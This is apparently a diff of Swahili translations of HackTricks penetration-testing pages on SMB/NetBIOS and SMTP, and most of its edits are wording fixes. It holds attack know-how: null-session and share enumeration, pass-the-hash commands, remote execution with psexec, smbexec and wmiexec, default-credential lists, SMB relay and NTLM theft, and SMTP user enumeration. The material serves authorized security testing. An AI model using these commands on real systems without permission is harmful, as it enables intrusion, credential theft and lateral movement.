Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\
|
||||
[**Taarifa zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
@ -452,7 +452,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Kama ilivyo kwa SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||||
Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kusaidia katika uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**.
|
||||
The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ni itifaki ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kusaidia katika uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -18,13 +18,13 @@ Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya k
|
||||
```
|
||||
### SMB
|
||||
|
||||
Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mfumo wa uendeshaji wa **Windows**, SMB inahakikisha ulinganifu wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
|
||||
Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mfumo wa uendeshaji wa **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
|
||||
|
||||
Hisa, zinazoakisi **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinafafanua **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
|
||||
Hisa, zinazowakilisha **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinafafanua **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Chombo `enum4linux` ni muhimu kwa kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:
|
||||
Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Kifaa `enum4linux` ni muhimu kwa kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:
|
||||
|
||||
- Taarifa kuhusu mfumo wa uendeshaji
|
||||
- Maelezo kuhusu domain ya mzazi
|
||||
@ -82,11 +82,11 @@ searchsploit microsoft smb
|
||||
### **Mikopo** Inayowezekana
|
||||
|
||||
| **Jina la mtumiaji(s)** | **Nywila za kawaida** |
|
||||
| ------------------------ | ----------------------------------------- |
|
||||
| _(bila)_ | _(bila)_ |
|
||||
| mgeni | _(bila)_ |
|
||||
| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| ------------------------ | ------------------------------------------ |
|
||||
| _(bila)_ | _(bila)_ |
|
||||
| mgeni | _(bila)_ |
|
||||
| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho |
|
||||
@ -183,7 +183,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Unganisha/Orodhesha folda iliyo shared**
|
||||
### **Unganisha/Ondoa orodha ya folda iliyoshirikiwa**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo**
|
||||
|
||||
Inaweza kuwa nawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji nayo au sehemu hiyo haipo kabisa.
|
||||
Inaweza kuwa inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuziorodhesha inaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Hizi zinaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji kwake au sehemu hiyo haipo kabisa.
|
||||
|
||||
Majina ya kawaida ya sehemu kwa malengo ya windows ni
|
||||
|
||||
@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
au kwa script hii (ikitumia kikao kisicho na thamani)
|
||||
au kwa script hii (ikitumika kikao kisicho na thamani)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -291,9 +291,9 @@ smbclient //<IP>/<share>
|
||||
```
|
||||
Amri:
|
||||
|
||||
- mask: inabainisha mask inayotumika kuchuja faili ndani ya directory (kwa mfano, "" kwa faili zote)
|
||||
- mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote)
|
||||
- recurse: inawasha recursion (kawaida: off)
|
||||
- prompt: inawasha kuomba majina ya faili off (kawaida: on)
|
||||
- prompt: inawasha kuomba majina ya faili (kawaida: on)
|
||||
- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja
|
||||
|
||||
(_Taarifa kutoka kwa manpage ya smbclient_)
|
||||
@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Maana maalum kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia.
|
||||
Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\
|
||||
@ -318,7 +318,7 @@ Maana maalum kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zi
|
||||
|
||||
## Soma Registry
|
||||
|
||||
Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
|
||||
Unaweza kuwa na uwezo wa **kusoma registry** ukitumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -326,26 +326,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||||
**Mipangilio ya default ya** server **Samba** kwa kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na **mipangilio hatari**:
|
||||
|
||||
| **Setting** | **Description** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
|
||||
| `read only = no` | Kataza uundaji na mabadiliko ya faili? |
|
||||
| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? |
|
||||
| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? |
|
||||
| `enable privileges = yes` | Heshimu mamlaka yaliyotolewa kwa SID maalum? |
|
||||
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
|
||||
| **Mipangilio** | **Maelezo** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
|
||||
| `read only = no` | Kataza uundaji na mabadiliko ya faili? |
|
||||
| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? |
|
||||
| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? |
|
||||
| `enable privileges = yes` | Heshimu mamlaka zilizotolewa kwa SID maalum? |
|
||||
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
|
||||
| `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?|
|
||||
| `logon script = script.sh` | Ni script gani inapaswa kutekelezwa wakati wa kuingia kwa mtumiaji?|
|
||||
| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa script inapofungwa? |
|
||||
| `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?|
|
||||
| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa script inapofungwa? |
|
||||
| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? |
|
||||
|
||||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||||
Amri `smbstatus` inatoa taarifa kuhusu **server** na kuhusu **nani ameungana**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||
Unaweza **kujiandikisha** kwa **kerberos** kwa kutumia zana **smbclient** na **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo **mbinu** ya **kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`:
|
||||
crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo njia **ya kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\
|
||||
Chaguo zote mbili **zitaunda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\
|
||||
**Maelezo zaidi** kuhusu [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)na [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
@ -400,7 +400,7 @@ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Kwa kutumia **parameter**`-k` unaweza kujiandikisha dhidi ya **kerberos** badala ya **NTLM**
|
||||
Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM**
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **kifaa cha lengo**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **shelly** ya **sistimu**.\
|
||||
Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\
|
||||
[**Taarifa zaidi kuhusu shambulio hili hapa.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
@ -452,7 +452,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack).
|
||||
Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Taarifa za Msingi**
|
||||
## **Basic Information**
|
||||
|
||||
**Simple Mail Transfer Protocol (SMTP)** ni protokali inayotumika ndani ya seti ya TCP/IP kwa **kutuma na kupokea barua pepe**. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumika pamoja na **POP3 au IMAP**. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara.
|
||||
The **Simple Mail Transfer Protocol (SMTP)** ni protokali inayotumika ndani ya TCP/IP suite kwa ajili ya **kutuma na kupokea barua pepe**. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumiwa pamoja na **POP3 au IMAP**. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara.
|
||||
|
||||
Katika mazoezi, ni kawaida kwa **programu za barua pepe** kutumia **SMTP kutuma barua pepe**, wakati zinatumia **POP3 au IMAP kupokea** hizo. Kwenye mifumo inayotegemea Unix, **sendmail** inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, **Microsoft Exchange** inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3.
|
||||
|
||||
**Bandari ya kawaida:** 25,465(ssl),587(ssl)
|
||||
**Default port:** 25,465(ssl),587(ssl)
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||
@ -19,7 +19,7 @@ Ikiwa una fursa ya **kumfanya mwathirika akutumie barua pepe** (kupitia fomu ya
|
||||
|
||||
Unaweza pia kupata barua pepe kutoka kwa seva ya SMTP ukijaribu **kutuma kwa seva hiyo barua pepe kwa anwani isiyopo** (kwa sababu seva itatuma kwa mshambuliaji barua ya NDN). Lakini, hakikisha unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.
|
||||
|
||||
Unapaswa pia kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata habari za kuvutia zaidi** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\
|
||||
Unapaswa pia kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata taarifa za kuvutia zaidi** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\
|
||||
Unapaswa kutuma faili ya mtihani ya EICAR.\
|
||||
Kugundua **AV** kunaweza kukuwezesha kutumia **vulnerabilities zilizo maarufu.**
|
||||
|
||||
@ -60,9 +60,9 @@ NTLM supported
|
||||
```
|
||||
Au **automate** hii kwa kutumia **nmap** plugin `smtp-ntlm-info.nse`
|
||||
|
||||
### Jina la seva ya ndani - Ufichuzi wa taarifa
|
||||
### Jina la seva ya ndani - Ufunuo wa taarifa
|
||||
|
||||
Seva zingine za SMTP hujaza kiotomatiki anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifichua jina lake la ndani:
|
||||
Baadhi ya seva za SMTP hujaza kiotomatiki anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifunua jina lake la ndani:
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
@ -83,13 +83,13 @@ MAIL FROM: me
|
||||
```
|
||||
### Sniffing
|
||||
|
||||
Angalia kama unapata nenosiri kutoka kwa pakiti za bandari 25
|
||||
Angalia kama unaweza kunasa nenosiri kutoka kwa pakiti za bandari 25
|
||||
|
||||
### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
|
||||
|
||||
## Username Bruteforce Enumeration
|
||||
|
||||
**Uthibitisho si lazima kila wakati**
|
||||
**Uthibitisho sio kila wakati unahitajika**
|
||||
|
||||
### RCPT TO
|
||||
```bash
|
||||
@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
## DSN Reports
|
||||
|
||||
**Ripoti ya Hali ya Uwasilishaji**: Ikiwa utatuma **barua pepe** kwa shirika kwa **anwani isiyo sahihi**, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma **barua kwako**. **Vichwa** vya barua pepe iliyorejeshwa vitakuwa na **habari nyeti** zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe zilizoshirikiana na ripoti au taarifa za programu ya kupambana na virusi).
|
||||
**Ripoti ya Hali ya Uwasilishaji**: Ikiwa utatuma **barua pepe** kwa shirika kwa **anwani isiyo sahihi**, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma **barua kwako**. **Vichwa** vya barua pepe iliyorejeshwa vitakuwa na **habari nyeti** zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe ambazo zilishirikiana na ripoti au taarifa za programu ya kupambana na virusi).
|
||||
|
||||
## [Commands](smtp-commands.md)
|
||||
|
||||
@ -234,10 +234,10 @@ Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kut
|
||||
### SPF
|
||||
|
||||
> [!CAUTION]
|
||||
> SPF [ilikuwa "imeondolewa" mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii ina maana kwamba badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia ile ile**.\
|
||||
> Zaidi ya hayo, ili kutumia rekodi za spf za awali ni kawaida sana kukutana na kitu kama `"v=spf1 include:_spf.google.com ~all"`
|
||||
> SPF [ilikuwa "imeondolewa" mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii inamaanisha kwamba badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia sawa**.\
|
||||
> Zaidi ya hayo, ili kutumia tena rekodi za awali za spf ni kawaida sana kukutana na kitu kama `"v=spf1 include:_spf.google.com ~all"`
|
||||
|
||||
**Sender Policy Framework** (SPF) ni mekanizma inayowezesha Wakala wa Uhamishaji Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya domain, na vitu vingine **vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la domain**, inajumuisha "Mekanizma" mbalimbali katika rekodi ya SPF.
|
||||
**Muundo wa Sera ya Mtumaji** (SPF) ni mekanizma inayowezesha Wakala wa Usafirishaji wa Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya kikoa, na vitu vingine **vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la kikoa**, inajumuisha "Mekanizma" mbalimbali katika rekodi ya SPF.
|
||||
|
||||
#### Mekanizma
|
||||
|
||||
@ -245,29 +245,29 @@ Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
|
||||
|
||||
| Mekanizma | Maelezo |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Inalingana kila wakati; inatumika kwa matokeo ya chaguo kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali. |
|
||||
| A | Ikiwa jina la domain lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa hadi anwani ya mtumaji, italingana. |
|
||||
| ALL | Inalingana kila wakati; inatumika kwa matokeo ya chaguo la default kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali. |
|
||||
| A | Ikiwa jina la kikoa lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa hadi anwani ya mtumaji, italingana. |
|
||||
| IP4 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv4, lingana. |
|
||||
| IP6 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv6, lingana. |
|
||||
| MX | Ikiwa jina la domain lina rekodi ya MX inayotatua hadi anwani ya mtumaji, italingana (yaani, barua inatoka katika moja ya seva za barua za kuingia za domain hiyo). |
|
||||
